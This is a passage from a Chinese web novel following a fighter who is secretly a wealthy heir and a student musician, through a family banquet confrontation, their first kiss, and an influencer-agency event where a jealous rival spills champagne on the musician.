从山脚开始就陆陆续续有前来道贺的豪车,越往上,两侧的人就越多。名流们身着一身高定谈笑风生,从镂空雕花大门进入庄园内,越过精心修葺过的复古花园和来自上上世纪的欧洲喷泉,终于进入了宴会最核心的区域。 老爷子和老夫人笑着坐在沙发中央,接受着众人的道贺。 正在场内的气氛渐渐活络起来、四周传来阵阵沉稳的笑声时,大门忽然被人打开了。一男一女两道高挑的身影从外缓步而来。 走在前面的,是在场众人都非常熟悉的黎旻,她微笑着点头示意,忽略众人试图攀上来同她套近乎、打招呼的视线,径直地走到了二老跟前,往后虚虚地靠了一步,弯腰,介绍身旁的祝闻声。 老爷子一愣,身体微微前倾;而老夫人脸上的客套笑容一僵,几秒之后,眼圈瞬间红透了。 眼前,黑发黑眼的俊美青年一身低调清贵的打扮,神色冷峻地立于原地,挺拔的松竹一般静默。 “阿声!” 司老太太率先站起身来,小跑着过去握住祝闻声的大掌,心疼地摸了摸他手心的茧子,眼含热泪地说,“我们阿声已经长这么大了……” 即使掌心满是老茧,也能摸到老人手上的皱纹,布满了岁月的痕迹。 祝闻声有些不习惯这样亲密的触碰,但他还是忍耐了下来,很轻很轻地点了点头。一旁的司老爷子也借助拐杖站了起来,喊他和黎旻一块到沙发旁坐下。 他们心照不宣地没有提格斗相关的事,只是就着一些不痛不痒的事寒暄了片刻,表面看起来到是一副其乐融融的样子。 一旁的众人见状都识趣地没有来打扰,可私底下却情不自禁地使起了眼色。有状况外的人压低声音问旁边的同伴:“黎旻带来的人是谁?能让司家二老都这么在意的人,不会是……” “对了。除了那位还能是谁?司家大女儿和祝家独子的孩子,一出生就含着金汤匙的‘太子爷’咯。” “可……看这样子,感觉‘太子爷’跟这二老不是很熟啊?” “哈,你要这么说也没错。‘太子爷’跟谁都不熟,包括他亲生爸妈,你知道为什么么?” 一人似乎了解许多内幕,吊足旁人的胃口后才悠悠地开口:“他妈和他爸当年商业联姻,订婚后,他妈却喜欢上了一个在家里做活的穷小子,谋划着和人家私奔。” “司家二老自然不可能同意:家里统共就俩女儿,小女儿叛逆无能,未婚先孕,他们能指望的只有乖巧懂事的大女儿。可这回大女儿像是铁了心似的,他们反复劝说无果,干脆在即将举办婚礼的时候,强行把人抓了回来……” 细碎的讨论话语自以为很隐秘,可那些遮遮掩掩的视线到底带着窥视的色彩,祝闻声猜也猜得到。 旁人嘴里讨论的,只不过是流传出来的只言片语,真正的情况只有他们自己明白。 强扭的瓜不甜。 祝闻声的父母本来就没有任何感情基础,婚后两人也冷战了很长一段时间,司姝不明白为什么所有人都要逼她到这种地步,她就连自己的婚姻也不能做主,每天都能跟祝冠清吵一架。 祝冠清自然也不是什么好脾气的主,他从小被捧在手心长大,哪里受得了这种委屈,干脆把外面的销金窟当成了家。 两人明明是夫妻,却闹成了仇敌。 若不是因为那时司姝爱的穷小子和旁人远走高飞了,她整个人浑浑噩噩的醉了酒,恰好那天祝冠清在家……恐怕都不会有祝闻声的出现。 可有了祝闻声,一切便跟之前不一样了。 在两家人惊喜又期待的催促下,祝冠清和司姝到底还是屈服了,考虑到各方面的压力和关系,各自歇下了心思,也算是过了四五年平静和睦的时光。 可惜好景不长,也许是司姝命里有一劫,她年轻时爱过那个穷小子竟然找上了门,并试图与她重新发展那段关系。 已然身为人母的司姝自然对这个朝秦暮楚的男人失去了想法,冷冷淡淡地拒绝了他。 但祝冠清不知真相,心中始终有根刺难以排解,想要找身边人“倾诉”,一来二去,竟然和秘书勾搭在了一起。 结果就是,在祝闻声五岁那年,祝冠清的秘书带着一个呱呱坠地的婴儿找上了祝家大门,差点将司姝气晕过去。 出了私生子这种事,祝、司两家狠狠地闹了一通,场面变得极为难看。但不管怎么说,这孩子总得解决,只是当他们带秘书的孩子和祝冠清去做亲子鉴定时才发现,那孩子竟然不是祝冠清的。 因为祝冠清出车祸受过伤,通俗来说,现在的他,并不具备让人怀孕的能力—— 私生子解决了,但事情闹得更大了。 司姝厌恶他有了孩子还要出去鬼混,比一开始还要痛恨祝冠清。 而祝冠清也难以忍受自己的男人尊严被踩在了脚底,整个人变得越发暴躁易怒,到最后甚至开始怀疑祝闻声是不是他的亲儿子。 事情发酵到了一种难以预料的地步。 某天司姝不在时,喝了酒的祝冠清,对六岁的祝闻声实施了家暴。 小孩身上的伤难遮,也掩藏不了。司姝回来就发现了,尖叫着要跟祝冠清离婚,她再也没法忍受这样的生活了,把两家人都喊来,当着所有人的面,抓着祝闻声和祝冠清去做了亲子鉴定。 清除完所有的疑点后,她干干脆脆,所有东西——包括祝闻声在内——什么都不要了,一个人出了国。祝冠清也彻底放弃了挣扎,把儿子丢给了两方父母。 是的。 他们俩终于自由了。 祝闻声垂下眼,收回了视线。 耳畔正在絮絮叨叨些什么,他过了片刻才听清。 “……所以呀,阿声!” “你再过一段时间也要二十岁了。婆婆这里有个小礼物想要送给你,跟以前送给小旻的一样。” 司老太太眼巴巴地盯着祝闻声,语气温和,“那家‘Z时代’,你喜欢吗?” “婆婆把它送给你好不好?” 【📢作者有话说】 嘿嘿谢谢宝宝们祝我生日快乐[摸头]很开心[抱抱][抱抱] 今天这章掉落小红包!爱你们[求你了][求你了] 30 ? 第 30 章 ◎我想吻你,可以吗?◎ 司老太太的这一声并没有特意控制音量, 离他们近的一些人表面上在认认真真地聊天,实际上一个个都把耳朵竖了起来,有些不可置信地看向了祝闻声的方向。 Z时代?是他们想的那个Z时代吗?? 南城——甚至整个国内最有名的MCN公司之一, 不少人挤破头都想占有一席之地的公司,到他这里竟然只变成了一个二十岁生日的小礼物? 这要是说出去, 不知道要让多少人羡慕嫉妒恨,可那黑发黑眼的俊美青年依然保持着毫无表情,似乎并没有因为这个礼物而感到多么开心——亦或者是, 根本就不在乎他即将收到的是什么东西。 “不用。” 祝闻声本想这样直截了当的拒绝,却被一旁微笑着的黎旻用力捣了一下, 顿了顿才添了一句:“……谢谢。” 司老太太眼中燃起的期待消失了,略微有些浑浊的瞳仁灰蒙蒙的,将求助的目光投向了一侧的司老爷子。 老爷子则用力地跺了一下拐杖,祝闻声忍耐了半个晚上, 他又何尝不是?这会, 他从鼻腔里重重地哼了一声, 斩钉截铁道:“不行,必须收下。你马上都要二十岁了, 还一天到晚跟小旻去搞那个格斗,像话吗?成何体统?” “从前你练练柔术也就算了, 毕竟可以保护自己。可现在呢?听小旻说,你是要去…去跟那个什么UFC签约了?你知道我们给你买了多少保险吗?你要是去打一场比赛,前前后后要牵扯到多少人、多少东西!” 祝闻声沉默不语。 金婚宴会,宾客如云,衣香鬓影。众人状似不经意的目光里都带着窥探和好奇。 司老太太反应过来, 连忙拉了拉身旁老伴的手。 可老爷子已经说得完全忘我了, 怒目圆睁, 气喘吁吁地盯着他:“我们家里那么多东西到最后不都是你和小旻的吗?而且你爷爷奶奶那也就只有你一个继承人……你怎么就不知道自己应该做什么?你简直就是不务正业!” 说到最后时,他的声音猛然拔高,几乎是当着在场所有人的面,狠狠地斥责了一番祝闻声。 一时四周鸦雀无声。体面的成年人们找了借口三三两两地散开了,耳朵却竖得一个比一个高,用余光觑着祝闻声。 黎旻早就猜到司老爷子会这样,可她没想到这指责来得这么快,险些两眼一黑,拉住司老爷子的手臂,努力放软声音:“外公,今天可是您和外婆的金婚纪念日。咱们不说这些行吗?阿声他其实……” “我就把话放这儿了,”城门失火殃及池鱼,司老爷子甩开黎旻的手,气呼呼地瞪向祝闻声,“Z时代必须收,不然我可保不住你姐那个小俱乐部。” 高挑挺拔的青年平静地站起来。 他深深地看了老爷子一眼,语气里听不出喜怒:“知道了。” 见他仿佛已经想通了的顺从模样,司老爷子就算是再有火也没处发,深吸一口气,强调道: “……知道就好。不听老人言,吃亏在眼前,我跟你婆婆是不可能害你的,都是为了你好。” “等你长大以后就明白,我们给你挑的路都是最好走的路,别人想羡慕都羡慕不过来呢。到时候,你一定会感谢我……” 祝闻声原本已经转过身准备走了,闻言,忽然停下了脚步。 “真的么?”他的语气无波无澜,仿佛不是在反问,而是陈述一个事实,“那您有没有收到女儿的感谢呢?” “……” “你!” 司老爷子反应过来,脸色涨红,好像被人狠狠地打了一巴掌,下意识地把手里的茶杯砸了过去。 他以为像祝闻声这种躲避能力顶级的格斗选手一定会避开,可祝闻声竟然不闪不避地站在原地,仍由那冒着白烟的热茶哗啦啦地撒了一身。 瓷杯骨碌碌地滚在地上,滴滴答答的水珠弄湿了地毯。 祝闻声垂下眼,随意地抹了一把滚烫的指尖,低低地添了一句:“金婚纪念日快乐。” “打扰到你们的话,抱歉了。” 两侧的宾客自觉地为他让出了一条路,众人目送着他一个人孤零零地往外走。 司老爷子也怔住了,举起拐杖,似乎还想说些什么,下一刻却被一旁泪水涟涟的司老太太扯住了手:“你非要跟孩子这么说话干什么!你就让他慢慢来不行吗?当年把小姝逼成了那样,你看她现在还愿不愿意喊你一声爸!” “她——” 司老爷子瞪大眼,几秒后,神色忽然颓然。 场面一时间变得有些混乱,有关系较近的人凑上来安慰起了司家二老。原先热热闹闹的金婚宴会,到底还是变了味。 黎旻在其中斡旋完,疲惫地揉了揉眉心,去花园抽烟。 她给祝闻声打了好几个电话都没打通,正在烦躁时,突然接到了一个由俱乐部打出来的电话。 “喂?”她心头一振,“S回去了没?你们看见他了?” “额,黎老板,不是……”教练的话还没说完,话筒就被另外一个人夺了过去。 陶真清朗的声音响起:“黎老板,我还想问你呢。” “大家说祝闻声上了你的车……你带他去哪里了?”- 夜幕低垂,秋日凉风习习,山上的温度尤甚。 原先滚烫的茶水渐渐凉了,浸湿的外套紧紧地贴在毛衣上,像是无形的大网,将人的呼吸都攫取干净。 祝闻声干脆将它脱了下来,找了个山脚的垃圾桶扔了。 失去了湿外套,令人窒息且疲惫的那股负担似乎在一瞬间消失了,可紧随而来的就是刺骨般的寒冷,从皮肤开始,一路弥漫到骨髓。 脱或不脱,好像都很糟糕。 而且无论有没有这件湿透的外套,四周都这样黑。簌簌摇晃的树影张牙舞爪,路灯的光好似萤火,轻而易举就会消失。 祝闻声不自觉地想到了他跟陶真在海边的那个晚上。 卷起潮湿水珠的海风很冷,空无一人的海滩也寂静无光,但那会的他却对四周的环境浑然未觉,只专注、牢牢地盯着镜头里笑意盈盈的陶真。 少年有着一头灿烂的金发,圆润潮湿的一双眼,笑起来的时候,会露出俏皮可爱的小虎牙。鲜艳活泼,好似暮色中那一点独特的红。 每次喊他时,总会拉长尾音,像是撒娇一样又甜又软。 “祝闻声!” 祝闻声的步子突然顿住了,他垂下眼,隐隐约约地觉得,自己似乎听见了陶真的声音。 可他很快就又清醒过来,陶真不可能知道他在哪里,也不可能会过来找到他。 于是,他放弃了心中的妄想,继续往前走。 很快,两侧的车流量渐渐多了起来,跳动的红绿灯变换,交叉路口人来人往,只有插着口袋的小摊贩站在原地。 祝闻声停下脚步。下一刻,他的余光里就闯进了一个气喘吁吁、满头大汗的金发少年。 “祝闻声!”陶真像是个小炮弹似的跑了过来,一骨碌扑进了他的怀里,仰起雪白的小脸,眼巴巴地望着他,“我刚刚在车上就喊你了,你明明都停下来了,怎么又开始跑啦?” “你都不知道,我一开始真的要被吓死了!听说你老板把你带走,我以为她是要、要带你去做什么不好的事情呢——不对,那你现在是怎么一个人跑到这种地方来的?你没有穿外套吗,身上就这么一件薄薄的长袖衫!你不冷吗?” 怀里的少年极暖和,像是将柔软肚皮翻开、努力替同伴暖身子的小动物。 也像是茫茫黑夜中,漫天冰冷刺骨的冰雪里,唯一的热源。 祝闻声脸上的表情有一瞬间的空白,过了好半晌才反应过来,呆呆地回抱。 他用了太大的力气,近乎要将陶真狠狠揉进他怀里。 陶真被他扼得“唔”了一声,脑袋上的呆毛都翘了起来,金发毛茸茸的:“……我就说…你肯定很冷。” “别害怕,告诉我谁欺负你了好不好?”他努力踮起脚尖,“是带你走的那个老板,还是刚刚才遇到的什么人?我帮你报仇出气好不好?” 祝闻声依然没有说话,他弯腰,用自己冰冷的脸颊去贴了一下少年热乎乎的侧脸。 像是雪地里取暖的小动物互相挨挨蹭蹭,没有任何绮念。陶真的嘴巴张了张,不自觉地安静了。 两人就这样无声地拥抱了一会。 片刻后,感觉到祝闻声钳制在他腰间的手臂没有一开始那么紧了,陶真才慢吞吞地往后退了一步。 悲伤和难过是一种如有实质、会感染的病毒。他忽然就不想问祝闻声到底发生什么事情了,只是努力扬起一个笑脸,对祝闻声说: “……过来的时候,我看见路边有卖烤红薯的。你饿不饿呀,我买两个给你吃好不好?” 天色一片晦暗,远处霓虹灯闪烁,陶真眉眼弯弯,朦胧得好像下一秒就会消散的梦。 祝闻声垂下眼,低低道:“不,我不想吃。” “好吧。”陶真绞尽脑汁,“那你想吃什么呢?我去给你……” “你。” 空气忽然安静下来,陶真的声音戛然而止,呆呆地看向眼前的人。 祝闻声闭了闭眼,压抑住胸膛沸腾的欲念,重复道:“陶真,我想吻你。” “可以吗?” 30-40 31 ? 第 31 章 ◎他怎么感觉,那个人影,这么像是祝闻声?◎ 陶真的脑袋里“嗡”地一声, 一时间不敢相信自己究竟听见了什么,傻傻地张了张嘴巴。 烟花的引线被火苗点燃,在“滋滋”的即将引燃声中快速缩短。这短短几秒的沉默将祝闻声的耐心消耗殆尽, 下一刻,他就覆下身来, 以一个滚烫潮湿的舌吻封锁了陶真的未尽之言。 好软。 好烫。 好痛。 陶真只感觉异物般长驱直入的舌强势地撬开了他的唇瓣齿关,像是个愣头青一样跌跌撞撞地闯了进来,搅得他下意识地从鼻腔里哼出一声求饶似的呜咽, 想要把身子往后靠。 可还没来得及真的后退一步,这种近乎逃离的动作就已经引起了身前捕猎者的警惕。原本轻轻搭在肩膀上的手遽然攥紧, 宽大结实的肩膀展开,阴影几乎能将他整个覆盖进去。 一阵头皮发麻。 陶真只感觉自己身体各处的感官被炸开,一阵阵几乎汹涌的浪潮从唇瓣开始以辐射状席卷了各处。脊背骨头像是被抽走了,大腿小腿的肌肉开始颤抖, 几乎要撑不住发软。 怎么会…… 嘴巴火辣辣的麻, 连带着意识都变得朦朦胧胧。 陶真有点神志不清地想, 难道接吻都是这个样子的?怎么感觉祝闻声不像是要吻他,反而是想把他舌头给吃了? 不知道到底过了多长时间, 祝闻声的动作终于没有一开始那么急切,反而充分地发挥了学霸的探索精神, 无师自通地温柔了起来。 这个结结实实的吻结束时,他轻轻地舔了舔陶真被磨蹭得嫣红的唇瓣,在那上面小小地咬了一口。 也不是很疼,但陶真就是忍不住一个激灵,眼眶里溢出了点剔透的水珠。 尤其一阵凉风吹过, 他赶快胡乱地擦了擦脸, 后知后觉地感觉到, 自己的脸颊在刚刚的亲吻中变得滚烫。 “我——” “我……” 两人几乎同时开口,又同时顿住。过了片刻,还是祝闻声率先开口,他克制地深呼吸,压下自己不同寻常的心跳和呼吸,低低地问:“我有弄疼你吗?” “咳……”陶真抹了把嘴,“没。没有。” 他用那双湿漉漉的眼睛盯着祝闻声看了几秒,又迅速地收回了目光,憋了好半天,讷讷地说:“我想吃烤红薯了。” “……” “我要买两个……你,你吃吗?” 两人最终还是去不了远处的小摊子。 天气渐渐冷下来后,烤玉米、烤红薯的小摊也陆陆续续地支起来了,跳跃的橘色火苗时不时发出噼噼啪啪的声响,烘出热乎乎的烟火气。 陶真难得没有跟祝闻声争一下谁付钱,乖乖地从摊主的手里接过刚出炉的大红薯,捻住两头将它掰开,一半给祝闻声,一半给自己。 橙红的薯肉冒着一阵阵的白气,他闷头啃了一大口,差点被烫得跳脚,紧接着才尝到味道。 又香又甜又糯,塞得他的腮帮子都鼓囊囊的,也把心底那股乱七八糟、炸得像烟花的情绪压了下去。 不管祝闻声对他是直男的把戏,还是为了包养费,能这么吻,吻得这么深,这么认真……他也不亏。 “……所以说,到底是谁欺负你了?”努力将那口烤红薯咽了下去,陶真抬起头看向祝闻声,问出他最为关心的问题,“你那个老板为什么单独带你一个人出来?” “没有人欺负我。老板带我出来是因为……” 祝闻声手里一直拿着陶真给他的那半块红薯,热乎乎软绵绵的触感透过薄薄的塑料袋捂暖了他的整只手。 血液仿佛重新开始循环,结冰的心慢慢苏醒。 他垂下眼,伸手替陶真擦了下脸颊上的那一点锅灰,斟酌了几秒才低声说:“长辈们,都不支持我继续格斗。” 无论是外公外婆,还是爷爷奶奶,都认为他做的这件事是不务正业,不负责任。 仿佛他出生在这样的家庭,就失去了选择自己人生道路的权利,只能按照所有人希望的那样长大,若有一点违反,就会被认为踏入了万劫不复的深渊。 他们以各种手段逼迫他,诱惑他,要他放弃自己的梦想,再也不要去做自己热爱的事业。转而接手家里的产业,和一个没有见过几面的女人结婚,延续上一代的悲剧。 “啊……” 大约是没想到令祝闻声不开心的是这件事,陶真怔了几秒,呆呆地抬起了头。 红薯皮上的锅灰又蹭得到处都是,让他看起来像是只掉进煤堆的小花猫,只会用那双湿漉漉的眼睛盯着人瞧。 “其实…我能理解他们,”陶真清了清嗓子,有点认真地说,“从某种程度上来说,我也不希望你格斗。” 祝闻声一怔,两人的视线在空中交汇。 “一开始听你说MMA,综合格斗,我完全不相信,因为我小时候就跟我爸看过我们那儿的地下黑拳——那也是打架,打得人浑身都是血,都是伤,一不留神就要被抬下去。” “虽然后来知道你参加的比赛是正规的,可我又去了解了一下,TKO还好一些,十秒内倒地的KO,听起来就跟把人踢傻了一样……格斗选手的身上总会有伤,哪怕是那个拿了UFC冠军的女拳王也一样。” “如果你只是为了钱干这一行,我希望你不要继续做。” 陶真仰起头,眼神清澈,一字一句地说,“但如果你选择MMA,是因为喜欢,那无论如何都要做下去。” “别人用再多钱砸你也好,受再多伤也罢,只要还能爬起来,就继续打。” “……” 汽车呼啸而过,带起一阵泥土尘沙。路灯下,少年的金发凌乱飞舞,却遮不住他那双亮得惊人的眸子。 祝闻声听见自己剧烈的心跳,一下又一下,带着蓬勃生机的小嫩芽,仿佛在刹那间抽条成了参天的大树。 他感到几秒的晕眩,滚了滚喉结:“无论如何?” “无论如何。” 陶真回答得很坚定,因为他也是这样对自己说的。音乐这条路很难走,很多人都觉得他不行,他也的确因为别人的言论怀疑过自己。可到底行不行,需要试过才知道。 拿不拿“第一”不重要,只要能心无旁骛地走下去,就已经赢了。 “我知道了。”片刻后,祝闻声低低地说。 陶真松了一口气,弯起眼,刚准备继续低下头啃自己那半个红薯,就听见祝闻声又问:“你今天是怎么知道我跟老板单独出去的?是有什么事情要找我么?” 举起的红薯又放下,陶真想了想:“唔,我就是给你打了几个电话,发现你都不接,所以去俱乐部找你了。他们跟我说你不在……事情嘛,本来是有的,但现在没有了,已经解决了。” 祝闻声正忙着跟家人说正事呢,他不想打扰,反正Z时代的线下会也不是一定需要带同伴过去,一个人去,勇敢点,也没什么大不了。 他说的大大方方,祝闻声没有怀疑。两人在原地把红薯吃完,就乘车回了市区。 车在Light俱乐部门口停下,祝闻声原本已经打开车门了,又回过头。 夜色朦胧,他的双眸里却映着点点暖黄色的光晕,很温柔地喊了一声“陶真”。 陶真下意识地转过头,笑着应:“嗯?怎么啦?” “……没什么。” 安静了两秒,祝闻声平静地说,“明天见。” 陶真一愣,旋即用力地点了点头,笑着冲祝闻声挥了挥手。 车辆启动,等到那个灿烂耀眼的身影渐渐消失在视线里,祝闻声依旧没有收回目光。 他刚刚没说。 其实,这是他第一次被人这样关心。 …… 日子过得飞快,不留神就到了月底。 周年庆正式开始那天,陶真仔仔细细地打扮了一番,根据七博士给的建议,穿了西装三件套,把外套搭在手臂上,看起来正式却又不失随意,无论场合到底怎么样都能随意切换。 平常总穿花里胡哨的大Logo的人,难得穿这样整齐的西装,整个人看起来像是漂亮沉静的小王子,几乎令人挪不开目光。 酒店门口,齐戚见到他时,就被结结实实地惊艳了一把。 说实在的,大家拍视频都会心照不宣地用一些特效或者美颜,所以线下一定没有线下好看。 可是陶真完全打破了这个魔咒,少年比视频还要生动立体,又可爱又漂亮,简直像是个真人立体洋娃娃,一眼就让人认了出来。 “嗨,真知棒!我在这儿!” 陶真正跟个无头苍蝇一样乱转,闻言抬起了头,在分辨出七博士的瞬间眼睛一亮,向救星匆匆跑过去。 “你好七博士,”他一笑,露出两颗小虎牙,“多谢你给我邀请函,真是麻烦你了。” “哈哈哈哈,别喊我七博士了,喊我齐戚就成。” 齐戚脾气很好地跟陶真打了个招呼,线下的他虽然没有视频里那么惊艳,但也是人群里相当出挑的帅哥了,“一张邀请函而已,顺手的事。你要是真跟Z时代签约了,也算我半个师弟了,带你是天经地义。” 陶真笑着接过话茬,也跟齐戚说了自己的真名。 两人一边上楼一边简单聊了两句,到宴会中心门口时,一个打扮精致的美女富婆忽然向他们走了过来,自然而然地挎上了齐戚的手臂,同时微笑向陶真示意。 陶真的语速不自觉地慢了下来,有些好奇地望向齐戚。 齐戚嘿嘿一笑,有些不好意思地摸了摸脑袋:“这是我女朋友思涵,因为账号不方便转型,所以一直没有公开过关系……这不是今天晚上有舞会吗,我就想着喊思涵一块来了。” 舞会?陶真一脸懵:“上次不是说,同伴可以带,也可以不带吗?” “啊,那是几天之前了,你是不是没看到群里最新的消息呀?” 齐戚从口袋掏出手机给陶真展示了一下,“Z时代里空降了一个大领导,他今天会亲自过来。为了表示尊重,负责人他们才特意加了这个环节。” “大领导?” “没错,”齐戚相当贴心地为陶真解释了一番,“Z时代是司氏的产业,而司家是南城相当有名的豪门,他们家的大小姐早年间跟另外一个豪门——祝家联姻,生了个儿子,也就是祝、司两家的继承人。” “这位继承人明明一直以来都保持着低调、几乎从不在公共场合露面,这回却选择空降到Z时代里,了解公司的各项事宜……大家都觉得是要改朝换代了,所以有一波心思活络的人,这会正卯足了劲地讨好他呢。” “哦,他还有个诨名,不知道你有没有听说过。很多人都在背地里喊他‘太子爷’。” 太子爷…… 原本正听得入神的陶真突然灵光一现,拍了一下脑袋。他想起来,自己的的确确听说过的。 国际部的迎新晚会结束以后,不就是“太子爷”让朋友来对付吴斌那几个家伙的吗?! 陶真后来也了解过吴斌他们的下场,那是真的可怜。一开始是家里的工厂和公司被查出来偷税漏税、生产规格不达标等等问题,后来就是资金链断裂,连带着他们也付不起国际部高昂的学费,更顶不住大家对他们的指指点点,只好一个个都灰溜溜地暂时休了学。 当时的他虽然觉得出了一口气,但也在心中隐隐约约地对这位素未谋面的“太子爷”生出几分敬畏。 虽然吴斌他们家里做错了事,得到这样的结果也是罪有应得,可从这件事上就看得出那位太子爷下手有多狠。 这样的人,还是尽量不要招惹的好。 “我知道,我也听说过他呢。” 陶真抿住唇点了点头,“谢谢你齐戚哥,你和思涵姐先进去吧,我问问我朋友现在有没有时间陪我一起,等下进去找你们。” 齐戚和思涵笑着答应了,他们俩人先进了宴会中心,去跟自己认识的经理打招呼。 陶真则收回视线,把手机掏了出来,给祝闻声发了条消息。 【真知棒:祝闻声,你在干什么呀?[猫猫探头.jpg]】 “叮咚”一声,口袋里的手机响了。 祝闻声却无暇顾及,只揉了揉眉心,淡淡地扫了一眼面前滔滔不绝、大腹便便的中年男人。 他到底还是出现在了Z时代的展会上,毕竟想要继续在格斗这条路上走下去,就不能在这种时候愚蠢地和司家二老进行对抗。况且,他也不能因为自己的事情连累到黎旻。 然而真正走到这里,被一帮不仅客套、还浑身上下都浸淫着“官场”气息的司家老高层们包围着,他还是感觉到一种油然而生的窒息。 趁着高层们聊天吹水的间隙,祝闻声点亮了手机屏幕。 奇怪的是,在看清发件人后,他心头那股郁结烦闷的感觉瞬间散了。 【S:我在做兼职,你呢?】 陶真在宴会厅门口屏息凝神地等待了片刻,终于收到了祝闻声发来的消息。 他匆忙点开,浏览一遍,情不自禁地皱起眉心:【怎么突然想起来做兼职啦?没钱的话和我说呀,我给你就好了。】 【真知棒:我在外面呢,今天出来参加一个活动。】 活动? 祝闻声微微一顿,刚想仔细问一下到底是什么活动,就见面前几个正在吹水的高层停下了动作,齐齐朝他望了过来:“小祝总,那我们就出发去展会厅吧?” 他只能“嗯”了一声,抬脚的同时,迅速给陶真回了消息。 【S:不是没钱,这次是意外。】 【S:已经答应好别人了,所以不能走。】 好吧,祝闻声果然很忙,陶真早有预料。 提醒完祝闻声在兼职的时候多注意安全,他便先关了手机,没有再提舞伴这件事。反正他也不怎么会跳舞,干脆直接在那个环节躲起来好了。 陶真直接进展会内部找到了齐戚。 这次的展会是按照平台里的分区来安排的,从美食到美妆,从音乐到舞蹈……各类组别应有尽有,简直就像是一个巨大的博主线下见面会,众多百万网红聚在一块谈笑风生。 陶真一开始还有些新奇和紧张,很快就发挥了自己的外向属性,适应得超级快。 没过多久,他就已经新加了一大波微信。其中少部分是他向喜欢的博主要来的,大部分都是其他博主主动加他。 不仅如此,齐戚还带他认识了一下负责Z时代和博主签约的人。那人早就对陶真有所耳闻,这会儿线下见到真人,简直被惊艳到捂住了嘴巴,眼睛亮晶晶地说: “天哪,真知棒对吗?你比视频上还要漂亮!” 陶真没忍住挠了挠脸颊,笑出两颗小虎牙,跟她细致地就签约以后的各种事宜仔仔细细地聊了一会。 金发少年手里搭着暗灰格纹的西装,随意地站在桌沿,修身的马甲箍住了他纤瘦的腰,将那完美流畅的线条极好地勾勒了出来。 举手投足都引人注目,仿佛天生带着贵气的小王子。 不远处的角落里,一个男人也牢牢地盯着他,攥着香槟杯的手青筋凸起,脸色也有些许沉沉,口轮匝肌突出了一小块,破坏了原本还算清秀儒雅的脸。 “李杰哥,你在看什么呢?”李杰的女伴从卫生间回来,甩了甩手上的水珠,有些好奇地顺着他的视线望过去,“诶,那不是陶真吗?” 李杰“唰”地一下扭过头,目光紧紧地盯着女孩:“你认识他?” 女孩被他过度的反应吓了一跳,愣了两秒才反应过来,有些愣愣地回道:“也、也不算是认识吧。他是我们学校音乐社的新成员,我就在之前聚餐的时候见过他一面。” “他最近很火的诶,用来面试社团的那个视频就有两百多万点赞,后续也是发一条爆一条。难怪会出现在这儿呢,恐怕是要跟Z时代签……” 说到最后,女孩突然感觉一道视线有如实质般直勾勾地射了过来,令她条件反射地抿住了唇。 糟了,她怎么忘了。 李杰是大艺团的部长,在陶真进入音乐社以前,是他们整个部门里面最火的博主,有着七八万的粉丝。 他一直都想跟MCN公司签约,从此以后走上人生巅峰,可是因为长相这个硬件问题而屡屡碰壁。这会儿好不容易才靠着自己南城大学大艺团部长的身份,搞到了一份参加Z时代的邀请函,可在这儿晃了老半天,却没有成功与什么博主、负责签约的经理搭上话。 恐怕他心里本来就很难受了,这会儿又偏巧撞见了陶真风生水起的样子…… “李杰哥,”女孩略微有点尴尬地笑了笑,“不然我们先去别的地方转一圈吧?” 李杰收回落在女孩身上的视线,默不作声地抬头,继续牢牢地盯着陶真。 “不,”他这一声仿佛是从牙缝里挤出来的,“他不是认识很多人吗,甚至还有DoctorSeven……我得去跟他打个招呼。” 女孩一怔,心中滑过一抹不祥的预感。 她来不及阻拦,就看见李杰端着酒杯,大步向陶真的方向走去。 金发少年刚好结束跟经理人的聊天,眉眼弯弯地说了声再见,转过头就发现一个男人站在自己身后。 他以为是跟之前那些博主一样,过来跟自己要微信的,没多想就掏出了手机,笑着说:“你好啊,叫我陶真就可以了!” “…你好,陶真。” 李杰勉强扯出了一个笑容,余光不动声色地落在陶真臂间的西装上,“你是南城大学音乐社的吧?我是大艺团的部长。” 陶真一愣,语气有些惊喜:“是吗?部长好!” “太巧了,没想到竟然能在这里遇见我们学校的,你也准备跟Z时代签约吗?我们可以一起了解一下……” 话音未落,不远处忽然爆发了一阵骚动。 陶真下意识地扭头望了过去,只见宴会厅的大门向两侧打开,身边的齐戚压低声音说:“那位‘太子爷’来了!” 以往总在人群中央的中年领导们穿着正装,以一个圈的姿态围在一起,共同为一个黑发青年开路。 即使隔了那么远,依然可以看得出那青年的身材优越,宽肩,窄腰,大长腿。他的存在,轻而易举地就将身边的领导衬成了秃头油腻男。 有几个年纪小的博主没忍住,甚至发出了几声短促的尖叫。 陶真却完全听不见耳畔的窃窃私语,脑袋里“嗡”地一声,盯着那个方向呆呆地看了几秒,情不自禁地往前走了一步。 ……是他的错觉吗? 他怎么感觉,那个人影,这么像是祝闻声? 32 ? 第 32 章 ◎他扇了太子爷一巴掌。◎ 毕竟祝闻声那样的好身材不是谁都能拥有的, Light俱乐部里其他的格斗选手全部自愧不如: 将近一米九的个头,放眼望去简直鹤立鸡群。 宽肩窄腰的好身材,完美倒三角的比例。肌肉结实, 线条流畅,饱满的胸肌将西装绷得刚刚好贴身。 走动间的身形像极了黑客帝国——或是一众欧美gangster匪帮片里运筹帷幄的少爷。 在众领导的包围下往里走, 离陶真的距离越来越近。 陶真的呼吸略微有几分凝滞,正要到他能看清太子爷脸的刹那,身旁的齐戚忽然发出了一声惊呼, 一个箭步跃至了他身前,烫手似的拎起了他手臂上的西装外套。 “陶真!卧槽, 这哪里来的酒水!整个都湿透了……思涵你带餐巾纸了吗?借我两张给陶真擦擦——” “噗通”一声,仿佛是提到嗓子眼的心脏重新下降回到原本位置的声音。 陶真匆忙地收回了落在不远处的视线,低下头,只见自己的西装外套上不知什么时候被泼了一杯香槟, 此刻正滴滴答答地往下滴着水珠。 齐戚从思涵那里借来了餐巾纸帮他努力擦拭了一会, 然而无济于事, 原本平整的布料已经全是酒渍,有些皱巴巴的。 “天呐, 这是怎么弄上去的?” 一旁的李杰见状也有些讶异地走了上来,顺势将自己手中空空如也的酒杯放到一旁的桌子上, “刚刚门口有人进来,我就光顾着看那边了,好像是有人撞了我一下……” “怎么办啊,舞会都要开始了。你衣服弄成这样了,还怎么穿?” 闻言, 陶真的动作一顿。他向一直努力替他擦衣服的齐戚道了谢, 自己站直了身子, 看向面前低着头的李杰。 李杰的眉心微微皱起,看起来似乎是一脸担忧的模样,可和一旁真正着急的齐戚不同,他的这份忧虑里还带了些许隐隐的幸灾乐祸。 经历过吴斌等人的无情背刺,陶真已经不会再像刚入学那会,对别人的恶意毫无感觉了。 